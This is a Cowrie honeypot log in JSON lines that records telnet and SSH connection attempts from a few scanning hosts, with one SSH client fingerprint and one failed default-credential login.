{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"15877c1759ab","protocol":"telnet","message":"New connection: 38.54.119.93:50744 (10.17.0.5:23) [session: 15877c1759ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:14.601763Z"}
{"eventid":"cowrie.session.closed","duration":35.55337119102478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:15.310984Z","src_ip":"62.210.97.77","session":"9c768ac5c6ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00292372703552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:16.213491Z","src_ip":"165.232.131.181","session":"38e8ef143224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40276,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f507cdd952","protocol":"telnet","message":"New connection: 62.210.97.77:40276 (10.17.0.5:23) [session: 22f507cdd952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:16.643975Z"}
{"eventid":"cowrie.session.closed","duration":33.368465185165405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:17.449311Z","src_ip":"62.210.97.77","session":"16de3fb9362a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.102654457092285,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:18.087909Z","src_ip":"62.210.97.77","session":"766c4d25ad68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.24344825744629,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:18.302847Z","src_ip":"38.54.119.93","session":"24753c2c0ffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2388bd32f88a","protocol":"telnet","message":"New connection: 65.60.27.33:58328 (10.17.0.5:23) [session: 2388bd32f88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:18.362640Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55678,"dst_ip":"10.17.0.5","dst_port":23,"session":"082e49f19367","protocol":"telnet","message":"New connection: 165.232.131.181:55678 (10.17.0.5:23) [session: 082e49f19367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:19.622634Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33006,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee4f9965d2a","protocol":"telnet","message":"New connection: 65.60.27.33:33006 (10.17.0.5:23) [session: eee4f9965d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:20.508922Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb6654aa791","protocol":"telnet","message":"New connection: 62.210.97.77:58872 (10.17.0.5:23) [session: eeb6654aa791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:24.618848Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58888,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b321393ae9","protocol":"telnet","message":"New connection: 62.210.97.77:58888 (10.17.0.5:23) [session: 42b321393ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:25.548273Z"}
{"eventid":"cowrie.session.closed","duration":33.81227231025696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:26.017164Z","src_ip":"62.210.97.77","session":"dbe0d6df856c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39538,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d59546422c","protocol":"telnet","message":"New connection: 65.60.27.33:39538 (10.17.0.5:23) [session: 86d59546422c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:26.051174Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"878a92bd5c9d","protocol":"telnet","message":"New connection: 165.232.131.181:58334 (10.17.0.5:23) [session: 878a92bd5c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:26.654265Z"}
{"eventid":"cowrie.session.closed","duration":37.15845513343811,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:26.941615Z","src_ip":"62.210.97.77","session":"97e4ee7bc647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41506,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ecadb4ba186","protocol":"telnet","message":"New connection: 65.60.27.33:41506 (10.17.0.5:23) [session: 4ecadb4ba186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:27.894959Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf781ac30f3","protocol":"telnet","message":"New connection: 38.54.119.93:59750 (10.17.0.5:23) [session: 2cf781ac30f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:28.127197Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54404,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d3d1458a35","protocol":"telnet","message":"New connection: 62.210.97.77:54404 (10.17.0.5:23) [session: f4d3d1458a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:29.235292Z"}
{"eventid":"cowrie.session.closed","duration":5.737960577011108,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:31.788907Z","src_ip":"65.60.27.33","session":"86d59546422c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54406,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b62e1797f0","protocol":"telnet","message":"New connection: 62.210.97.77:54406 (10.17.0.5:23) [session: 18b62e1797f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:32.939097Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e29fef878d5","protocol":"telnet","message":"New connection: 65.60.27.33:48090 (10.17.0.5:23) [session: 7e29fef878d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:33.502738Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58920,"dst_ip":"10.17.0.5","dst_port":23,"session":"29a25129a4ed","protocol":"telnet","message":"New connection: 165.232.131.181:58920 (10.17.0.5:23) [session: 29a25129a4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:34.020480Z"}
{"eventid":"cowrie.session.closed","duration":39.04166030883789,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:36.703472Z","src_ip":"165.232.131.181","session":"ee0ca20020c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"955a9178e104","protocol":"telnet","message":"New connection: 65.60.27.33:51996 (10.17.0.5:23) [session: 955a9178e104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:36.828498Z"}
{"eventid":"cowrie.session.closed","duration":35.24570608139038,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:38.200921Z","src_ip":"62.210.97.77","session":"6a4e23c3e015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40495276451111,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:40.822360Z","src_ip":"165.232.131.181","session":"e87c240d4dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39664,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ed1360f603","protocol":"telnet","message":"New connection: 62.210.97.77:39664 (10.17.0.5:23) [session: 26ed1360f603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:42.705156Z"}
{"eventid":"cowrie.session.closed","duration":31.153160333633423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:43.279707Z","src_ip":"62.210.97.77","session":"6fb8a4c34e0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36920,"dst_ip":"10.17.0.5","dst_port":23,"session":"943982471ec9","protocol":"telnet","message":"New connection: 165.232.131.181:36920 (10.17.0.5:23) [session: 943982471ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:43.298491Z"}
{"eventid":"cowrie.session.closed","duration":34.27312779426575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:44.212486Z","src_ip":"62.210.97.77","session":"89d70fe274d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.75202441215515,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:44.266558Z","src_ip":"165.232.131.181","session":"af3664a80ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":32826,"dst_ip":"10.17.0.5","dst_port":23,"session":"079c5bbbed87","protocol":"telnet","message":"New connection: 65.60.27.33:32826 (10.17.0.5:23) [session: 079c5bbbed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:44.681666Z"}
{"eventid":"cowrie.session.closed","duration":38.41377663612366,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:45.777708Z","src_ip":"65.60.27.33","session":"9f586cc6ca14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"948fb27c10be","protocol":"telnet","message":"New connection: 62.210.97.77:39672 (10.17.0.5:23) [session: 948fb27c10be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:47.850603Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38486,"dst_ip":"10.17.0.5","dst_port":23,"session":"986913eff99b","protocol":"telnet","message":"New connection: 65.60.27.33:38486 (10.17.0.5:23) [session: 986913eff99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:49.899271Z"}
{"eventid":"cowrie.session.closed","duration":39.395567893981934,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:51.684635Z","src_ip":"62.210.97.77","session":"44614aafbc76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35412,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee4b617db03","protocol":"telnet","message":"New connection: 62.210.97.77:35412 (10.17.0.5:23) [session: fee4b617db03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:51.908386Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40596,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e44b71fdb76","protocol":"telnet","message":"New connection: 165.232.131.181:40596 (10.17.0.5:23) [session: 6e44b71fdb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:53.898166Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35428,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd84177aefc7","protocol":"telnet","message":"New connection: 62.210.97.77:35428 (10.17.0.5:23) [session: cd84177aefc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:54.636599Z"}
{"eventid":"cowrie.session.closed","duration":40.351566553115845,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:56.995377Z","src_ip":"62.210.97.77","session":"22f507cdd952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.07778787612915,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:59.292528Z","src_ip":"38.54.119.93","session":"4bd6a5cd16ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.075942277908325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:59.694649Z","src_ip":"62.210.97.77","session":"eeb6654aa791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33552,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a3fe320896","protocol":"telnet","message":"New connection: 62.210.97.77:33552 (10.17.0.5:23) [session: 88a3fe320896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:59.929037Z"}
{"eventid":"cowrie.session.closed","duration":31.00601887702942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:00.241229Z","src_ip":"62.210.97.77","session":"f4d3d1458a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99624752998352,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:00.544370Z","src_ip":"62.210.97.77","session":"42b321393ae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99491477012634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:00.889770Z","src_ip":"65.60.27.33","session":"4ecadb4ba186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33562,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b2848a603d","protocol":"telnet","message":"New connection: 62.210.97.77:33562 (10.17.0.5:23) [session: 58b2848a603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:02.397306Z"}
{"eventid":"cowrie.session.closed","duration":48.6418137550354,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:02.550813Z","src_ip":"165.232.131.181","session":"39ec45080819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.27658009529114,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:03.878237Z","src_ip":"38.54.119.93","session":"15877c1759ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33564,"dst_ip":"10.17.0.5","dst_port":23,"session":"da10c32ded2c","protocol":"telnet","message":"New connection: 62.210.97.77:33564 (10.17.0.5:23) [session: da10c32ded2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:06.233953Z"}
{"eventid":"cowrie.session.closed","duration":47.201114654541016,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:06.823663Z","src_ip":"165.232.131.181","session":"082e49f19367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47066,"dst_ip":"10.17.0.5","dst_port":23,"session":"77751296a9a4","protocol":"telnet","message":"New connection: 165.232.131.181:47066 (10.17.0.5:23) [session: 77751296a9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:07.055512Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7c6def6cb7","protocol":"telnet","message":"New connection: 65.60.27.33:58428 (10.17.0.5:23) [session: 9c7c6def6cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:08.608430Z"}
{"eventid":"cowrie.session.closed","duration":50.65350794792175,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:09.016053Z","src_ip":"65.60.27.33","session":"2388bd32f88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8426438f7e5","protocol":"telnet","message":"New connection: 65.60.27.33:60652 (10.17.0.5:23) [session: d8426438f7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:09.200093Z"}
{"eventid":"cowrie.session.closed","duration":0.9741597175598145,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:10.174133Z","src_ip":"65.60.27.33","session":"d8426438f7e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33430,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a0384321eb","protocol":"telnet","message":"New connection: 65.60.27.33:33430 (10.17.0.5:23) [session: 60a0384321eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:10.201098Z"}
{"eventid":"cowrie.session.closed","duration":44.42247295379639,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.076609Z","src_ip":"165.232.131.181","session":"878a92bd5c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47078,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca756495eca","protocol":"ssh","message":"New connection: 80.94.92.182:47078 (159.203.135.109:22) [session: 9ca756495eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.127940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.147853Z","src_ip":"80.94.92.182","session":"9ca756495eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.295002460479736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.233970Z","src_ip":"62.210.97.77","session":"18b62e1797f0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.333604Z","src_ip":"80.94.92.182","session":"9ca756495eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37797474861145,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.398343Z","src_ip":"165.232.131.181","session":"29a25129a4ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3c071e9e73","protocol":"telnet","message":"New connection: 165.232.131.181:46072 (10.17.0.5:23) [session: 7b3c071e9e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.652795Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b64ce9c9072","protocol":"telnet","message":"New connection: 62.210.97.77:59870 (10.17.0.5:23) [session: 9b64ce9c9072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:11.768178Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:12.363502Z","src_ip":"80.94.92.182","session":"9ca756495eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:13.610758Z","src_ip":"80.94.92.182","session":"9ca756495eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.81475591659546,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:14.323575Z","src_ip":"65.60.27.33","session":"eee4f9965d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.47508525848389,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:15.977735Z","src_ip":"65.60.27.33","session":"7e29fef878d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b2c984e92f","protocol":"telnet","message":"New connection: 62.210.97.77:59884 (10.17.0.5:23) [session: a1b2c984e92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:16.169364Z"}
{"eventid":"cowrie.session.closed","duration":48.6449990272522,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:16.772053Z","src_ip":"38.54.119.93","session":"2cf781ac30f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.146239280700684,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:17.974615Z","src_ip":"65.60.27.33","session":"955a9178e104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59896,"dst_ip":"10.17.0.5","dst_port":23,"session":"989840d37ae5","protocol":"telnet","message":"New connection: 62.210.97.77:59896 (10.17.0.5:23) [session: 989840d37ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:18.488906Z"}
{"eventid":"cowrie.session.closed","duration":32.60420250892639,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:20.454694Z","src_ip":"62.210.97.77","session":"948fb27c10be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78372311592102,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:20.488794Z","src_ip":"62.210.97.77","session":"26ed1360f603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46762800216675,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:21.766037Z","src_ip":"165.232.131.181","session":"943982471ec9","protocol":"telnet"}
